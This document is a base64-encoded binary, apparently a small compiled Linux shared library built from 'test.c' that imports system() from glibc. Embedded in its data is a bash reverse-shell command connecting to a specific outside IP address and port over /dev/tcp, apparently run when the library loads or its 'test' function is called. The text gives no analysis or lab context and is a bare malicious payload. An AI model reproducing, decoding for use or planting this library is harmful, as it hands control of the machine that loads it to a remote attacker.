AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsFwS8AAEiFwHQC/9BIg8QIwwAAAAAA/zXKLwAA/yXMLwAADx9AAP8lyi8AAGgAAAAA6eD///9IjT3JLwAASI0Fwi8AAEg5+HQVSIsFbi8AAEiFwHQJ/+APH4AAAAAAww8fgAAAAABIjT2ZLwAASI01ki8AAEgp/kiJ8EjB7j9IwfgDSAHGSNH+dBRIiwU9LwAASIXAdAj/4GYPH0QAAMMPH4AAAAAA8w8e+oA9VS8AAAB1M1VIgz0aLwAAAEiJ5XQNSIs9Ni8AAP8VCC8AAOhj////xgUsLwAAAV3DZi4PH4QAAAAAAMNmZi4PH4QAAAAAAA8fQADzDx766Wf///9VSInlSI0F7A4AAEiJx+gU////kF3DAPMPHvpIg+wISIPECMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzQzLjEzNy40OS41Mi8xOTEzNCAwPiYxJyAmAAEbAzscAAAAAgAAAOjv//84AAAA0fD//2AAAAAAAAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAJAAAABwAAACo7///IAAAAAAOEEYOGEoPC3cIgAA/GjsqMyQiAAAAABwAAABEAAAAafD//xYAAAAAQQ4QhgJDDQZRDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAALAQAAAAAAAAAQAAAAAAAABhAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAACARAAAAAAAAGQAAAAAAAADwPQAAAAAAABsAAAAAAAAAEAAAAAAAAAAaAAAAAAAAAAA+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAAAAMAAAAAAAAFAAAAAAAAANADAAAAAAAABgAAAAAAAAAoAwAAAAAAAAoAAAAAAAAAdwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoPwAAAAAAAAIAAAAAAAAAGAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAAA4BQAAAAAAAAcAAAAAAAAAeAQAAAAAAAAIAAAAAAAAAMAAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAWAQAAAAAAAD///9vAAAAAAEAAAAAAAAA8P//bwAAAABIBAAAAAAAAPn//28AAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAANhAAAAAAAAAIQAAAAAAAAEdDQzogKEdOVSkgMTMuMi4xIDIwMjMwODAxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAACAAAAAIADQAgEQAAAAAAAAAAAAAAAAAADgAAAAEAFgAIQAAAAAAAAAAAAAAAAAAAGwAAAAEAEwAIPgAAAAAAAAAAAAAAAAAAJAAAAAAADwA4IAAAAAAAAAAAAAAAAAAANwAAAAEAFgAQQAAAAAAAAAAAAAAAAAAAQwAAAAEAFQDoPwAAAAAAAAAAAAAAAAAAWQAAAAIACgAAEAAAAAAAAAAAAAAAAAAAXwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAewAAABIAAAAAAAAAAAAAAAAAAAAAAAAAjgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAnQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAtwAAACIAAAAAAAAAAAAAAAAAAAAAAAAA0gAAABIADAAJEQAAAAAAABYAAAAAAAAAAHRlc3QuYwBfZmluaQBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19HTlVfRUhfRlJBTUVfSERSAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfaW5pdABfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAc3lzdGVtQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAR0xJQkNfMi4yLjUAdGVzdAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUucHJvcGVydHkALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290AC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAqAIAAAAAAACoAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAALgAAAAcAAAACAAAAAAAAANgCAAAAAAAA2AIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEEAAAD2//9vAgAAAAAAAAAAAwAAAAAAAAADAAAAAAAAJAAAAAAAAAAEAAAAAAAAAAgAAAAAAAAAAAAAAAAAAABLAAAACwAAAAIAAAAAAAAAKAMAAAAAAAAoAwAAAAAAAKgAAAAAAAAABQAAAAEAAAAIAAAAAAAAABgAAAAAAAAAUwAAAAMAAAACAAAAAAAAANADAAAAAAAA0AMAAAAAAAB3AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAFsAAAD///9vAgAAAAAAAABIBAAAAAAAAEgEAAAAAAAADgAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABoAAAA/v//bwIAAAAAAAAAWAQAAAAAAABYBAAAAAAAACAAAAAAAAAABQAAAAEAAAAIAAAAAAAAA